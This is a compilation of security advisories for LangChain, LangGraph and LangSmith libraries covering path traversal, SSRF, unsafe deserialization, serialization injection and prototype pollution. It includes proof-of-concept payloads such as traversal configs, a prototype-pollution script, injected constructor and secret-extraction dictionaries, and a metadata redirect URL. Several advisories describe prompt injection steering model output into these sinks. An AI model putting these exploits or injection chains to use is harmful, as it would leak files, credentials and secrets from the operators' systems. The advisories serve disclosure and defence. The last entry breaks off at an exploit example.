LangChain is a framework for building agents and LLM-powered applications. Prior to 1.3.9, several LangChain components that resolve filesystem paths or expand search patterns do not consistently confine the resolved path to the intended root directory. Affected behaviors include: a file-search agent middleware that validates a starting directory but not the search pattern or the resolved target of matched files, so glob patterns and symlinks can reach files outside the configured root; prompt- and chain/agent-configuration loaders that accept path fields and resolve them without confining the result to a trusted base or rejecting symlink targets; and path-prefix authorization checks that compare by string prefix without a path-segment boundary, so a sibling path sharing the prefix is accepted. When these components receive path values, search patterns, or workspace contents influenced by an untrusted source — including an LLM acting on untrusted input — the result can be disclosure of files outside the intended boundary. This vulnerability is fixed in 1.3.9.

Summary

langgraph-sdk constructs HTTP request paths for resource operations by interpolating caller-supplied identifier values into URL templates. Without sanitization of those values, identifiers that contain characters with special meaning in URL paths could cause the resulting request to address a different resource (and potentially a different resource type) than the SDK method's call site indicates. In deployments where the SDK receives identifier values that originate from untrusted sources, this could result in unintended access, modification, or deletion of resources beyond the calling user's authorization scope.

This issue is most consequential in deployments that:

- forward end-user-supplied values directly into SDK identifier parameters without first validating them against an expected format (such as a UUID), and - rely on URL-prefix-based authorization at an upstream layer (reverse proxy, edge gateway, WAF), where the authorization decision is made on the SDK call's intended path rather than on the final delivered request path.

There have no evidence of this behavior being triggered in the wild. This change is intended to reduce the surface available when caller-supplied identifier values originate from untrusted sources.

Affected users / systems

You may be affected if you:

- use langgraph-sdk (Python) to address resources by identifier, and - pass identifier values into SDK methods that originate from end-user input, untrusted third-party callers, or any source that does not validate identifier format before the SDK call.

Applications that validate identifier values (for example, by parsing them as UUIDs and rejecting anything that does not parse) before passing them to SDK methods are not affected. Validated UUIDs round-trip through the SDK request path unchanged.

Impact

- Potential unintended access, modification, or deletion of resources via SDK methods called for a different resource type, when caller-supplied identifier values are not validated. - In deployments with prefix-based authorization at an upstream layer, the authorization decision and the final delivered request path may diverge. - Confidentiality: disclosure of resource content beyond the authorization scope of the calling user. - Integrity: modification or deletion of resources beyond the authorization scope of the calling user.

Patches / mitigation

The SDK now applies path-segment encoding to identifier values before they are interpolated into request URL templates. After this change, identifier values that contain characters with special meaning in URL paths are transmitted as encoded byte sequences and routed to the resource the SDK method's call site indicates.

Compatibility

Identifier values that match the standard UUID format, or any other format that contains only characters safe to transmit unencoded in URL path segments, round-trip through the SDK request path unchanged. Applications that already validate identifier inputs see no behavioral change.

Operational guidance

- Validate identifier values (typically as UUIDs) at the boundary where untrusted input enters the application, before passing them to SDK methods. - For deployments relying on URL-prefix-based authorization upstream of LangGraph, prefer authorization at the LangGraph server layer or on parsed-and-validated request paths rather than on raw URL prefixes.

LangSmith / hosted deployments note

This issue affects the SDK that runs in caller applications. The LangGraph server runtime, including LangSmith-hosted deployments, receives ordinary HTTP requests on documented routes and is not itself affected by this issue. Applications that consume LangSmith-hosted services via langgraph-sdk and pass untrusted identifier values to SDK methods should upgrade.

First reported by: pucagit (CyStack).

Summary

LangGraph's JsonPlusSerializer can reconstruct Python objects from JSON checkpoint payloads. Under conditions where someone could modify checkpoint bytes at rest in the backing store, the deserialization path could reconstruct objects beyond what the application expects, which could in turn result in code execution at checkpoint load time.

This is a defense-in-depth issue. The affected behavior is reachable only when checkpoint bytes at rest in the backing store can be modified by an unauthorized party. In most deployments that prerequisite already implies a serious incident; the additional concern is turning "checkpoint-store write access" into code execution in the application runtime.

There is no evidence of this behavior being triggered in the wild, and the team is not aware of a practical path to it in existing deployments today. This change is intended to reduce the surface available after a checkpoint-store incident.

Affected users / systems

Users may be affected if they:

- use a persistent checkpointer (database, remote store, shared filesystem, etc.) with the default JsonPlusSerializer, - load/resume from checkpoints, and - operate in an environment where write access to the checkpoint store could be obtained by an unauthorized party.

The default checkpoint serializer in all shipped checkpointer backends (PostgresSaver, SqliteSaver, and their async counterparts) is JsonPlusSerializer, so applications generally do not need to opt in to be in scope.

Impact

- Potential arbitrary code execution or other unsafe side effects during checkpoint deserialization. - Escalation from "write access to the checkpoint store" to "code execution in the LangGraph worker process," which may expose runtime secrets or provide access to other systems the runtime can reach.

Patches / mitigation

The JSON deserialization path has been narrowed so that revival is restricted to default-constructor reconstruction using the args/kwargs carried in the payload. The framework's own encoder has not relied on the removed behavior for produced checkpoints since the msgpack migration, so this change does not affect freshly written checkpoints. Legacy payloads that already used the default constructor as their first option continue to revive correctly via that same path.

Compatibility

A narrow legacy-resume regression applies to pre-October-2025 checkpoints of pydantic models where the original payload depended on a no-validation fallback factory to recover from incompatible schema evolution. After this change, such payloads return None from the revival path and fall through to the langchain-core reviver, which surfaces the raw dict rather than reconstructing the model.

Operational guidance

- Treat checkpoint stores as integrity-sensitive. Restrict write access and rotate credentials if unauthorized access is suspected. - Avoid providing custom JSON revival hooks that reconstruct arbitrary types unless checkpoint data is fully trusted.

LangSmith / hosted deployments note

The team is not aware of this issue presenting concern for existing LangSmith-hosted deployments. The described conditions require modification of the checkpoint persistence layer used by the deployment; typical hosted configurations are designed to prevent such access.

First reported by: pucagit (CyStack).

LangChain contains older runtime code paths that deserialize run inputs, run outputs, or other application-controlled payloads using overly broad object allowlists. These paths may call load() with allowedobjects="all". This does not enable arbitrary Python object deserialization, but it does allow any trusted LangChain-serializable object to be revived, which is broader than these runtime paths require. As a result, attacker-supplied LangChain serialized constructor dictionaries may cause trusted runtime paths to instantiate classes with untrusted constructor arguments.

Applications are exposed only when all of the following are true:

1. The application accepts untrusted structured input, such as JSON, from a user or network request. 2. The application does not validate or canonicalize that input into an inert schema before invoking LangChain. 3. Attacker-controlled nested dictionaries or lists are preserved in LangChain run inputs or outputs. 4. The application uses an affected API path that later deserializes that run data.

Known affected runtime surfaces include:

- RunnableWithMessageHistory - astreamlog() - astreamevents(version="v1")

Related unsafe deserialization patterns may also affect applications that explicitly load serialized LangChain prompt or runnable objects from untrusted sources, including shared prompt stores, Hub artifacts with model configuration, or other application-controlled serialization stores.

Applications that validate incoming requests against a fixed schema, such as coercing user input to a plain string or message-content field before invoking LangChain, are unlikely to expose this deserialization primitive.

This release also fixes a related secret-marker validation bypass in the serialization and deserialization layer (islcsecret). That issue creates an additional path by which attacker-controlled constructor dictionaries can avoid escaping during dumps() -> loads() round-trips and reach LangChain object revival logic.

Impact

An attacker who can submit untrusted structured input to an affected application, and have that structure preserved in LangChain run data, may be able to inject LangChain serialized constructor payloads such as:

json { "lc": 1, "type": "constructor", "id": ["langchaincore", "messages", "ai", "AIMessage"], "kwargs": {"content": "attacker-controlled content"} }

If this payload reaches a broad load() call, LangChain may instantiate the referenced class instead of treating the payload as inert user data.

Realistic impacts include:

- Persistent chat-history poisoning when revived AIMessage, HumanMessage, or SystemMessage objects are stored by RunnableWithMessageHistory. - Prompt injection or behavior manipulation if attacker-controlled messages are later included in model context. - Instantiation of unexpected trusted LangChain objects with attacker-controlled constructor arguments. - Possible credential disclosure or server-side requests if a reachable object reads environment credentials, creates clients, or contacts attacker-controlled endpoints during initialization. - Additional prompt-template or runnable-configuration impacts in applications that separately load and execute untrusted serialized LangChain objects.

Remediation

LangChain will deprecate the affected APIs as part of this fix:

- RunnableWithMessageHistory - astreamlog() - astreamevents(version="v1")

These are older code paths that are no longer recommended for new applications. They were not previously marked as deprecated, but recent LangChain documentation has primarily directed users toward newer streaming and memory patterns, including the stream API. Applications should migrate to the currently recommended APIs rather than continue depending on these older surfaces.

Separately, LangChain will update load() and loads() to tighten deserialization behavior so broad object revival is not applied implicitly to untrusted or application-controlled payloads. The older runtime surfaces listed above are being deprecated rather than preserved as supported paths for broad runtime deserialization.

This release also fixes a related secret-marker validation bypass in the serialization and deserialization layer (islcsecret). That issue creates an additional path by which attacker-controlled constructor dictionaries can avoid escaping during dumps() -> loads() round-trips and reach LangChain object revival logic.

Guidance for load() and loads()

load() and loads() should be used only with trusted LangChain manifests or serialized objects from trusted storage. Do not pass user-controlled data to load() or loads(), and do not use them as general parsers for request bodies, tool inputs, chat messages, or other attacker-controlled data.

load() and loads() are beta APIs, and their behavior may change as LangChain narrows unsafe defaults. Future LangChain versions will require callers to be explicit about which objects may be revived. Users should pass a narrow allowedobjects value appropriate for the specific trusted manifest they are loading, rather than relying on broad defaults or allowedobjects="all", which permits the full trusted LangChain serialization allowlist.

Credits

The original issue was first reported by @u-ktdi.

Similar findings were reported by @dewankpant, @shrutilohani, @Moaaz-0x, @pucagit.

A related islcsecret marker bypass affecting dumps() -> loads() round-trips was reported by @yardenporat353 (and a similar report by @localhost-detect)

LangChain is a framework for building agents and LLM-powered applications. Prior to 1.1.14, langchain-openai's urltosize() helper (used by getnumtokensfrommessages for image token counting) validated URLs for SSRF protection and then fetched them in a separate network operation with independent DNS resolution. This left a TOCTOU / DNS rebinding window: an attacker-controlled hostname could resolve to a public IP during validation and then to a private/localhost IP during the actual fetch.

LangChain is a framework for building agents and LLM-powered applications. Prior to langchain-text-splitters 1.1.2, HTMLHeaderTextSplitter.splittextfromurl() validated the initial URL using validatesafeurl() but then performed the fetch with requests.get() with redirects enabled (the default). Because redirect targets were not revalidated, a URL pointing to an attacker-controlled server could redirect to internal, localhost, or cloud metadata endpoints, bypassing SSRF protections. The response body is parsed and returned as Document objects to the calling application code. Whether this constitutes a data exfiltration path depends on the application: if it exposes Document contents (or derivatives) back to the requester who supplied the URL, sensitive data from internal endpoints could be leaked. Applications that store or process Documents internally without returning raw content to the requester are not directly exposed to data exfiltration through this issue. This vulnerability is fixed in 1.1.2.

GHSA-fw9q-39r9-c252: Prototype Pollution via Incomplete Lodash set() Guard in langsmith-sdk

Severity: Medium (CVSS ~5.6) Status: Fixed in 0.5.18

---

Summary

The LangSmith JavaScript/TypeScript SDK (langsmith) contains an incomplete prototype pollution fix in its internally vendored lodash set() utility. The baseAssignValue() function only guards against the proto key, but fails to prevent traversal via constructor.prototype. This allows an attacker who controls keys in data processed by the createAnonymizer() API to pollute Object.prototype, affecting all objects in the Node.js process.

---

Affected Products

| Product | Affected Versions | Component | |---------|-------------------|-----------| | langsmith (npm) | <= 0.5.17 | js/src/utils/lodash/baseAssignValue.ts, js/src/anonymizer/index.ts | | langchain-ai/langsmith-sdk | GitHub main branch (as of 2026-03-24) | JS/TypeScript SDK |

Not affected: The Python SDK (langsmith on PyPI) does not use lodash or an equivalent pattern.

---

Root Cause

The SDK vendors an internal copy of lodash's set() function at js/src/utils/lodash/. The baseAssignValue() function at baseAssignValue.ts:11 implements a guard for prototype pollution:

typescript function baseAssignValue(object: Record<string, any>, key: string, value: any) { if (key === "proto") { Object.defineProperty(object, key, { configurable: true, enumerable: true, value: value, writable: true, }); } else { object[key] = value; // ← No guard for "constructor" or "prototype" keys } }

This blocks proto pollution but does not block the constructor.prototype traversal path. When set() is called with a path like "constructor.prototype.polluted":

1. castPath() splits it into ["constructor", "prototype", "polluted"] 2. baseSet() iterates: obj.constructor → Object → Object.prototype 3. assignValue(Object.prototype, "polluted", value) calls baseAssignValue() 4. Key is "polluted" (not "proto"), so the guard is bypassed 5. Object.prototype.polluted = value — all objects are polluted

---

Attack Vector via Anonymizer

The createAnonymizer() API (importable as langsmith/anonymizer) processes data by:

1. Extracting string nodes — extractStringNodes() walks an object recursively and builds dotted paths from keys 2. Applying regex replacements — If a string value matches a configured pattern, the node is marked for update (anonymizer/index.ts:95) 3. Writing back with set() — set(mutateValue, node.path, node.value) writes the replaced value back (anonymizer/index.ts:123)

An attacker who controls keys in data being anonymized can construct a nested object where the path resolves to constructor.prototype.X:

javascript { wrapper: { "constructor.prototype.isAdmin": "contains-secret-pattern" } }

extractStringNodes() produces path "wrapper.constructor.prototype.isAdmin". When the replacement triggers and set() writes back, it traverses up to Object.prototype.

Although createAnonymizer() uses deepClone() at anonymizer/index.ts:62 (JSON.parse(JSON.stringify(data))), the prototype chain traversal escapes the clone boundary because clone.wrapper.constructor resolves to the global Object constructor, not a cloned copy.

---

Proof of Concept

javascript import { createAnonymizer } from "langsmith/anonymizer";

const anonymizer = createAnonymizer([ { pattern: "secret", replace: "[REDACTED]" } ]);

console.log("BEFORE:", ({}).isAdmin); // undefined

const maliciousInput = { wrapper: { "constructor.prototype.isAdmin": "this-is-secret-data" } };

anonymizer(maliciousInput);

console.log("AFTER:", ({}).isAdmin); // "this-is-[REDACTED]-data" console.log("Array:", [].isAdmin); // "this-is-[REDACTED]-data"

function checkAccess(user) { if (user.isAdmin) return "ACCESS GRANTED"; return "ACCESS DENIED"; } console.log(checkAccess({ name: "bob" })); // "ACCESS GRANTED" ← BYPASSED

---

Impact

Prototype pollution in a Node.js process can enable:

1. Authentication bypass — if (user.isAdmin) checks succeed on all objects 2. Remote Code Execution — Exploitable in template engines (Pug, EJS, Handlebars, Nunjucks) via polluted prototype properties that reach eval()/Function() sinks 3. Denial of Service — Overwriting toString, valueOf, or hasOwnProperty on all objects 4. Data exfiltration — Polluting serialization methods to inject attacker-controlled values

---

Remediation

In baseAssignValue.ts, extend the guard to cover constructor and prototype keys:

typescript function baseAssignValue(object, key, value) { if (key === "proto" || key === "constructor" || key === "prototype") { Object.defineProperty(object, key, { configurable: true, enumerable: true, value, writable: true, }); } else { object[key] = value; } }

As defense in depth, extractStringNodes() in anonymizer/index.ts should also sanitize or reject path segments matching constructor or prototype before passing them to set().

---

Timeline

| Date | Event | |------|-------| | 2026-03-24 | Initial report submitted | | 2026-04-09 | Vendor confirmed; fixed in 0.5.18 |

---

Credits

Reported by: OneThing4101

LangChain is a framework for building agents and LLM-powered applications. Prior to 0.3.84 and 1.2.28, LangChain's f-string prompt-template validation was incomplete in two respects. First, some prompt template classes accepted f-string templates and formatted them without enforcing the same attribute-access validation as PromptTemplate. In particular, DictPromptTemplate and ImagePromptTemplate could accept templates containing attribute access or indexing expressions and subsequently evaluate those expressions during formatting. Second, f-string validation based on parsed top-level field names did not reject nested replacement fields inside format specifiers. In this pattern, the nested replacement field appears in the format specifier rather than in the top-level field name. As a result, earlier validation based on parsed field names did not reject the template even though Python formatting would still attempt to resolve the nested expression at runtime. This vulnerability is fixed in 0.3.84 and 1.2.28.

Summary

Multiple functions in langchaincore.prompts.loading read files from paths embedded in deserialized config dicts without validating against directory traversal or absolute path injection. When an application passes user-influenced prompt configurations to loadprompt() or loadpromptfromconfig(), an attacker can read arbitrary files on the host filesystem, constrained only by file-extension checks (.txt for templates, .json/.yaml for examples).

Note: The affected functions (loadprompt, loadpromptfromconfig, and the .save() method on prompt classes) are undocumented legacy APIs. They are superseded by the dumpd/dumps/load/loads serialization APIs in langchaincore.load, which do not perform filesystem reads and use an allowlist-based security model. As part of this fix, the legacy APIs have been formally deprecated and will be removed in 2.0.0.

Affected component

Package: langchain-core File: langchaincore/prompts/loading.py Affected functions: loadtemplate(), loadexamples(), loadfewshotprompt()

Severity

High

The score reflects the file-extension constraints that limit which files can be read.

Vulnerable code paths

| Config key | Loaded by | Readable extensions | |---|---|---| | templatepath, suffixpath, prefixpath | loadtemplate() | .txt | | examples (when string) | loadexamples() | .json, .yaml, .yml | | examplepromptpath | loadfewshotprompt() | .json, .yaml, .yml |

None of these code paths validated the supplied path against absolute path injection or .. traversal sequences before reading from disk.

Impact

An attacker who controls or influences the prompt configuration dict can read files outside the intended directory:

- .txt files: cloud-mounted secrets (/mnt/secrets/apikey.txt), requirements.txt, internal system prompts - .json/.yaml files: cloud credentials (~/.docker/config.json, ~/.azure/accessTokens.json), Kubernetes manifests, CI/CD configs, application settings

This is exploitable in applications that accept prompt configs from untrusted sources, including low-code AI builders and API wrappers that expose loadpromptfromconfig().

Proof of concept

python from langchaincore.prompts.loading import loadpromptfromconfig

Reads /tmp/secret.txt via absolute path injection config = { "type": "prompt", "templatepath": "/tmp/secret.txt", "inputvariables": [], } prompt = loadpromptfromconfig(config) print(prompt.template) # file contents disclosed

Reads ../../etc/secret.txt via directory traversal config = { "type": "prompt", "templatepath": "../../etc/secret.txt", "inputvariables": [], } prompt = loadpromptfromconfig(config)

Reads arbitrary .json via few-shot examples config = { "type": "fewshot", "examples": "../../../../.docker/config.json", "exampleprompt": { "type": "prompt", "inputvariables": ["input", "output"], "template": "{input}: {output}", }, "prefix": "", "suffix": "{query}", "inputvariables": ["query"], } prompt = loadpromptfromconfig(config)

Mitigation

Update langchain-core to >= 1.2.22.

The fix adds path validation that rejects absolute paths and .. traversal sequences by default. An allowdangerouspaths=True keyword argument is available on loadprompt() and loadpromptfromconfig() for trusted inputs.

As described above, these legacy APIs have been formally deprecated. Users should migrate to dumpd/dumps/load/loads from langchaincore.load.

Credit

- jiayuqi7813 reporter - VladimirEliTokarev reporter - Rickidevs reporter - Kenneth Cox (cczine@gmail.com) reporter

LangGraph checkpointers can load msgpack-encoded checkpoints that reconstruct Python objects during deserialization. If an attacker can modify checkpoint data in the backing store (for example, after a database compromise or other privileged write access to the persistence layer), they can potentially supply a crafted payload that triggers unsafe object reconstruction when the checkpoint is loaded.

This is a post-exploitation / defense-in-depth issue. Exploitation requires the ability to write attacker-controlled checkpoint bytes at rest. In most deployments that prerequisite already implies a serious incident; the additional risk is turning “checkpoint-store write access” into code execution in the application runtime, which can expand blast radius (for example by exposing environment variables or cloud credentials available to the runtime).

There is no evidence of exploitation in the wild, and LangGraph is not aware of a practical exploitation path in existing deployments today. This change is intended to reduce the blast radius of a checkpoint-store compromise.

Affected users / systems

Users may be affected if they:

- use a persistent checkpointer (database, remote store, shared filesystem, etc.), - load/resume from checkpoints, and - operate in an environment where an attacker could gain privileged write access to checkpoint data in the backing store.

This issue requires the attacker to be able to modify persisted checkpoint bytes (or to compromise a trusted component that writes them). It is generally not reachable by an unauthenticated remote attacker in a correctly configured deployment.

Impact - Potential arbitrary code execution or other unsafe side effects during checkpoint deserialization. - Escalation from “write access to checkpoint store” to “code execution in the application runtime,” which may expose runtime secrets or provide access to other systems the runtime can reach.

Exploitation scenario (high level) 1. Attacker gains privileged write access to the checkpoint store (for example, via database compromise, leaked credentials, or abuse of an administrative data path). 2. Attacker writes a crafted checkpoint payload containing msgpack data intended to reconstruct dangerous objects. 3. Application resumes and deserializes the checkpoint; unsafe reconstruction could execute attacker-controlled behavior.

Mitigation / remediation LangGraph provides an allowlist-based hardening mechanism for msgpack checkpoint deserialization.

Strict mode (environment variable) - LANGGRAPHSTRICTMSGPACK - When set truthy (1, true, yes), the default msgpack deserialization policy becomes strict. - Concretely: JsonPlusSerializer() will default allowedmsgpackmodules to None (strict) instead of True (warn-and-allow), unless allowedmsgpackmodules=... is explicitly passed.

allowedmsgpackmodules (serializer/checkpointer config) This setting controls what msgpack “ext” types are allowed to be reconstructed.

- True (default when strict mode is not enabled): allow all ext types, but log a warning when deserializing a type that is not explicitly registered. - None (strict): only a built-in safe set is reconstructed; other ext types are blocked. - [(module, classname), ...] (strict allowlist): the built-in safe set plus exactly the listed symbols are reconstructed (exact-match).

Built-in safe set A small set of types is always treated as safe to reconstruct (for example datetime types, uuid.UUID, decimal.Decimal, set/frozenset/deque, ipaddress types, pathlib paths, zoneinfo.ZoneInfo, compiled regex patterns, and selected LangGraph internal types).

Automatically derived allowlist (only when compiling graphs) When LANGGRAPHSTRICTMSGPACK is enabled and StateGraph is compiled, LangGraph derives an allowlist from the graph’s schemas and channels and applies it to the checkpointer.

- The allowlist is built by walking the state/input/output/context schemas (plus node/branch input schemas) and channel value/update types. It includes Pydantic v1/v2 models, dataclasses, enums, TypedDict field types, and common typing constructs (containers, unions, Annotated). - LangGraph also includes a curated set of common LangChain message classes.

This derived allowlist is only applied if the selected checkpointer supports withallowlist(...). If a user is constructing serializers/checkpointers manually (or using a checkpointer that does not support allowlist propagation), they will need to configure allowedmsgpackmodules themselves.

Operational guidance - Treat checkpoint stores as integrity-sensitive. Restrict write access and rotate credentials if compromise is suspected. - Enable strict mode (LANGGRAPHSTRICTMSGPACK=true) in production if feasible, and rely on schema-driven allowlisting to reduce incompatibilities. - Avoid providing custom msgpack deserialization hooks that reconstruct arbitrary types unless checkpoint data is fully trusted.

Limitations / important notes - If a checkpointer implementation does not support allowlist application (i.e., does not implement withallowlist), allowlist enforcement may be skipped (with a warning). In that situation, strict expectations may not hold. - If an application supplies a custom msgpack unpack hook (exthook), the custom hook controls reconstruction and can bypass the default allowlist checks (intentional escape hatch, but it weakens the protection).

LangSmith / hosted deployments note LangSmith is not aware of this issue presenting risk to existing LangSmith-hosted deployments. The described threat model requires an attacker to tamper with the checkpoint persistence layer used by the deployment; typical hosted configurations are designed to prevent such access.

First reported by: yardenporat353

Langchain Helm Charts are Helm charts for deploying Langchain applications on Kubernetes. Prior to langchain-ai/helm version 0.12.71, a URL parameter injection vulnerability existed in LangSmith Studio that could allow unauthorized access to user accounts through stolen authentication tokens. The vulnerability affected both LangSmith Cloud and self-hosted deployments. Authenticated LangSmith users who clicked on a specially crafted malicious link would have their bearer token, user ID, and workspace ID transmitted to an attacker-controlled server. With this stolen token, an attacker could impersonate the victim and access any LangSmith resources or perform any actions the user was authorized to perform within their workspace. The attack required social engineering (phishing, malicious links in emails or chat applications) to convince users to click the crafted URL. The stolen tokens expired after 5 minutes, though repeated attacks against the same user were possible if they could be convinced to click malicious links multiple times. The fix in version 0.12.71 implements validation requiring user-defined allowed origins for the baseUrl parameter, preventing tokens from being sent to unauthorized servers. No known workarounds are available. Self-hosted customers must upgrade to the patched version.

Summary A redirect-based Server-Side Request Forgery (SSRF) bypass exists in RecursiveUrlLoader in @langchain/community. The loader validates the initial URL but allows the underlying fetch to follow redirects automatically, which permits a transition from a safe public URL to an internal or metadata endpoint without revalidation. This is a bypass of the SSRF protections introduced in 1.1.14 (CVE-2026-26019).

Affected Component - Package: @langchain/community - Component: RecursiveUrlLoader - Configuration: preventOutside (default: true) is insufficient to prevent this bypass when redirects are followed automatically.

Description RecursiveUrlLoader is a web crawler that recursively follows links from a starting URL. The existing SSRF mitigation validates the initial URL before fetching, but it does not re-validate when the request follows redirects. Because fetch follows redirects by default, an attacker can supply a public URL that passes validation and then redirects to a private network address, localhost, or cloud metadata endpoint.

This constitutes a “check‑then‑act” gap in the request lifecycle: the safety check occurs before the redirect chain is resolved, and the final destination is never validated.

Impact If an attacker can influence content on a page being crawled (e.g., user‑generated content, untrusted external pages), they can cause the crawler to: - Fetch cloud instance metadata (AWS, GCP, Azure), potentially exposing credentials or tokens - Access internal services on private networks (10.x, 172.16.x, 192.168.x) - Connect to localhost services - Exfiltrate response data through attacker-controlled redirect chains

This is exploitable in any environment where RecursiveUrlLoader runs with access to internal networks or metadata services, which includes most cloud-hosted deployments.

Attack Scenario 1. The crawler is pointed at a public URL that passes initial SSRF validation. 2. That URL responds with a 3xx redirect to an internal target. 3. The fetch follows the redirect automatically without revalidation. 4. The crawler accesses the internal or metadata endpoint.

Example redirector: https://302.r3dir.me/--to/?url=http://169.254.169.254/latest/meta-data/

Root Cause - SSRF validation (validateSafeUrl) is only performed on the initial URL. - Redirects are followed automatically by fetch (redirect: "follow" default), so the request can change destinations without additional validation.

Resolution Upgrade to @langchain/community >= 1.1.18, which validates every redirect hop by disabling automatic redirects and re-validating Location targets before following them. - Automatic redirects are disabled (redirect: "manual"). - Each 3xx Location is resolved and validated with validateSafeUrl() before the next request. - A maximum redirect limit prevents infinite loops.

Reources - Original SSRF fix (CVE-2026-26019): enforced origin comparison and added initial URL validation - https://github.com/langchain-ai/langchainjs/security/advisories/GHSA-gf3v-fwqg-4vh7

Description

The RecursiveUrlLoader class in @langchain/community is a web crawler that recursively follows links from a starting URL. Its preventOutside option (enabled by default) is intended to restrict crawling to the same site as the base URL.

The implementation used String.startsWith() to compare URLs, which does not perform semantic URL validation. An attacker who controls content on a crawled page could include links to domains that share a string prefix with the target (e.g., https://example.com.attacker.com passes a startsWith check against https://example.com), causing the crawler to follow links to attacker-controlled or internal infrastructure.

Additionally, the crawler performed no validation against private or reserved IP addresses. A crawled page could include links targeting cloud metadata services (169.254.169.254), localhost, or RFC 1918 addresses, and the crawler would fetch them without restriction.

Impact

An attacker who can influence the content of a page being crawled (e.g., by placing a link on a public-facing page, forum, or user-generated content) could cause the crawler to:

- Fetch cloud instance metadata (AWS, GCP, Azure), potentially exposing IAM credentials and session tokens - Access internal services on private networks (10.x, 172.16.x, 192.168.x) - Connect to localhost services - Exfiltrate response data via attacker-controlled redirect chains

This is exploitable in any environment where RecursiveUrlLoader runs on infrastructure with access to cloud metadata or internal services — which includes most cloud-hosted deployments.

Resolution

Two changes were made:

1. Origin comparison replaced. The startsWith check was replaced with a strict origin comparison using the URL API (new URL(link).origin === new URL(baseUrl).origin). This correctly validates scheme, hostname, and port as a unit, preventing subdomain-based bypasses.

2. SSRF validation added to all fetch operations. A new URL validation module (@langchain/core/utils/ssrf) was introduced and applied before every outbound fetch in the crawler. This blocks requests to: - Cloud metadata endpoints: 169.254.169.254, 169.254.170.2, 100.100.100.200, metadata.google.internal, and related hostnames - Private IP ranges: 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 127.0.0.0/8, 169.254.0.0/16 - IPv6 equivalents: ::1, fc00::/7, fe80::/10 - Non-HTTP/HTTPS schemes (file:, ftp:, javascript:, etc.)

Cloud metadata endpoints are unconditionally blocked and cannot be overridden.

Workarounds

Users who cannot upgrade immediately should avoid using RecursiveUrlLoader on untrusted or user-influenced content, or should run the crawler in a network environment without access to cloud metadata or internal services.

Server-Side Request Forgery (SSRF) in ChatOpenAI Image Token Counting

Summary The ChatOpenAI.getnumtokensfrommessages() method fetches arbitrary imageurl values without validation when computing token counts for vision-enabled models. This allows attackers to trigger Server-Side Request Forgery (SSRF) attacks by providing malicious image URLs in user input.

Severity Low - The vulnerability allows SSRF attacks but has limited impact due to: - Responses are not returned to the attacker (blind SSRF) - Default 5-second timeout limits resource exhaustion - Non-image responses fail at PIL image parsing

Impact An attacker who can control image URLs passed to getnumtokensfrommessages() can: - Trigger HTTP requests from the application server to arbitrary internal or external URLs - Cause the server to access internal network resources (private IPs, cloud metadata endpoints) - Cause minor resource consumption through image downloads (bounded by timeout)

Note: This vulnerability occurs during token counting, which may happen outside of model invocation (e.g., in logging, metrics, or token budgeting flows).

Details The vulnerable code path: 1. getnumtokensfrommessages() processes messages containing imageurl content blocks 2. For images without detail: "low", it calls urltosize() to fetch the image and compute token counts 3. urltosize() performs httpx.get(imagesource) on any URL without validation 4. Prior to the patch, there was no SSRF protection, size limits, or explicit timeout

File: libs/partners/openai/langchainopenai/chatmodels/base.py

Patches The vulnerability has been patched in langchain-openai==1.1.9 (requires langchain-core==1.2.11).

The patch adds: 1. SSRF validation using langchaincore.security.ssrfprotection.validatesafeurl() to block: - Private IP ranges (RFC 1918, loopback, link-local) - Cloud metadata endpoints (169.254.169.254, etc.) - Invalid URL schemes 2. Explicit size limits (50 MB maximum, matching OpenAI's payload limit) 3. Explicit timeout (5 seconds, same as httpx.get default) 4. Allow disabling image fetching via allowfetchingimages=False parameter

Workarounds If you cannot upgrade immediately:

1. Sanitize input: Validate and filter imageurl values before passing messages to token counting or model invocation 2. Use network controls: Implement egress filtering to prevent outbound requests to private IPs

LangChain versions up to and including 0.3.1 contain a regular expression denial-of-service (ReDoS) vulnerability in the MRKLOutputParser.parse() method (libs/langchain/langchain/agents/mrkl/outputparser.py). The parser applies a backtracking-prone regular expression when extracting tool actions from model output. An attacker who can supply or influence the parsed text (for example via prompt injection in downstream applications that pass LLM output directly into MRKLOutputParser.parse()) can trigger excessive CPU consumption by providing a crafted payload, causing significant parsing delays and a denial-of-service condition.

Context

A serialization injection vulnerability exists in LangChain JS's toJSON() method (and subsequently when string-ifying objects using JSON.stringify(). The method did not escape objects with 'lc' keys when serializing free-form data in kwargs. The 'lc' key is used internally by LangChain to mark serialized objects. When user-controlled data contains this key structure, it is treated as a legitimate LangChain object during deserialization rather than plain user data.

Attack surface

The core vulnerability was in Serializable.toJSON(): this method failed to escape user-controlled objects containing 'lc' keys within kwargs (e.g., additionalkwargs, metadata, responsemetadata). When this unescaped data was later deserialized via load(), the injected structures were treated as legitimate LangChain objects rather than plain user data.

This escaping bug enabled several attack vectors:

1. Injection via user data: Malicious LangChain object structures could be injected through user-controlled fields like metadata, additionalkwargs, or responsemetadata 2. Secret extraction: Injected secret structures could extract environment variables when secretsFromEnv was enabled (which had no explicit default, effectively defaulting to true behavior) 3. Class instantiation via import maps: Injected constructor structures could instantiate any class available in the provided import maps with attacker-controlled parameters

Note on import maps: Classes must be explicitly included in import maps to be instantiatable. The core import map includes standard types (messages, prompts, documents), and users can extend this via importMap and optionalImportsMap options. This architecture naturally limits the attack surface—an allowedObjects parameter is not necessary because users control which classes are available through the import maps they provide.

Security hardening: This patch fixes the escaping bug in toJSON() and introduces new restrictive defaults in load(): secretsFromEnv now explicitly defaults to false, and a maxDepth parameter protects against DoS via deeply nested structures. JSDoc security warnings have been added to all import map options.

Who is affected?

Applications are vulnerable if they:

1. Serialize untrusted data via JSON.stringify() on Serializable objects, then deserialize with load() — Trusting your own serialization output makes you vulnerable if user-controlled data (e.g., from LLM responses, metadata fields, or user inputs) contains 'lc' key structures. 2. Deserialize untrusted data with load() — Directly deserializing untrusted data that may contain injected 'lc' structures. 3. Use LangGraph checkpoints — Checkpoint serialization/deserialization paths may be affected.

The most common attack vector is through LLM response fields like additionalkwargs or responsemetadata, which can be controlled via prompt injection and then serialized/deserialized in streaming operations.

Impact

Attackers who control serialized data can extract environment variable secrets by injecting {"lc": 1, "type": "secret", "id": ["ENVVAR"]} to load environment variables during deserialization (when secretsFromEnv: true). They can also instantiate classes with controlled parameters by injecting constructor structures to instantiate any class within the provided import maps with attacker-controlled parameters, potentially triggering side effects such as network calls or file operations.

Key severity factors:

- Affects the serialization path—applications trusting their own serialization output are vulnerable - Enables secret extraction when combined with secretsFromEnv: true - LLM responses in additionalkwargs can be controlled via prompt injection

Exploit example

typescript import { load } from "@langchain/core/load";

